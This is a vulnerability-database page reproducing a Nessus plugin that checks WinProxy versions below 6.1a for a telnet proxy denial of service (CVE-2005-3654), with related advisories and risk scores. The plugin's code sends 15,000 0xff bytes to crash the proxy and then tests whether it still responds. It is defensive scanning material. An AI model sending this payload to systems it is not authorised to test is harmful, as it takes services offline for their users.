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WinProxy < 6.1a Telnet Proxy Remote DoS

🗓️ 10 Jan 2006 00:00:00Reported by TenableType 
nessus
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The telnet proxy in WinProxy < 6.1a is vulnerable to a remote denial of service attack

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ReporterTitlePublishedViews
Family
Tenable Nessus
WinProxy < 6.1a Multiple Vulnerabilities
6 Jan 200600:00
nessus
Tenable Nessus
WinProxy < 6.1a Multiple Vulnerabilities (credentialed check)
10 Jan 200600:00
nessus
CVE
CVE-2005-3654
6 Jan 200600:00
cve
Cvelist
CVE-2005-3654
6 Jan 200600:00
cvelist
EUVD
EUVD-2005-3651
7 Oct 202500:30
euvd
NVD
CVE-2005-3654
31 Dec 200505:00
nvd
securityvulns
iDefense Security Advisory 01.05.06: Blue Coat WinProxy Telnet DoS Vulnerability
7 Jan 200600:00
securityvulns
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description) {
  script_id(20392);
  script_version("1.17");

  script_cve_id("CVE-2005-3654");
  script_bugtraq_id(16149);

  script_name(english:"WinProxy < 6.1a Telnet Proxy Remote DoS");
  script_summary(english:"Checks for denial of service vulnerability in WinProxy < 6.1a Telnet Proxy");

 script_set_attribute(attribute:"synopsis", value:
"The remote telnet proxy server is affected by a denial of service
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running WinProxy, a proxy server for Windows. 

The installed version of WinProxy's telnet proxy fails to handle a
long string of 0xff characters.  An attacker may be able to exploit
this issue to crash the proxy, thereby denying service to valid users." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b140c13e" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8c88612f" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to WinProxy version 6.1a or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/01/10");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/01/05");
 script_cvs_date("Date: 2018/08/06 14:03:17");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
  script_category(ACT_DENIAL);
  script_family(english:"Windows");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("find_service1.nasl");
  script_require_ports("Services/telnet", 23);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("telnet_func.inc");


port = get_service(svc:"telnet", default: 23, exit_on_fail: 1);


# Make sure the service looks like WinProxy.
banner = get_telnet_banner(port:port);
if (
  banner && 
  "Enter computer name to connect to." >< banner
) {
  # Flag it as a proxy.
  register_service(port:port, ipproto:"tcp", proto:"telnet_proxy");

  # Try to exploit it.
  soc = open_sock_tcp(port);
  if (soc) {
    banner = recv(socket:soc, length:4096);
    send(socket:soc, data:crap(length:15000, data:raw_string(0xff)));
    res = recv(socket:soc, length:1024);
    close(soc);

    # Now try to reconnect.
    soc = open_sock_tcp(port);
    if (soc) {
      banner = recv(socket:soc, length:4096);
      send(socket:soc, data:SCRIPT_NAME);
      res2 = recv(socket:soc, length:1024);
      close(soc);
    }

    # There's a problem if we didn't get a response the second time.
    if (!strlen(res) && !strlen(res2)) {
      security_hole(port);
      exit(0);
    }
  }
}

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06 Aug 2018 14:03Current
5.5Medium risk
Vulners AI Score5.5
CVSS 27.5
EPSS0.03286
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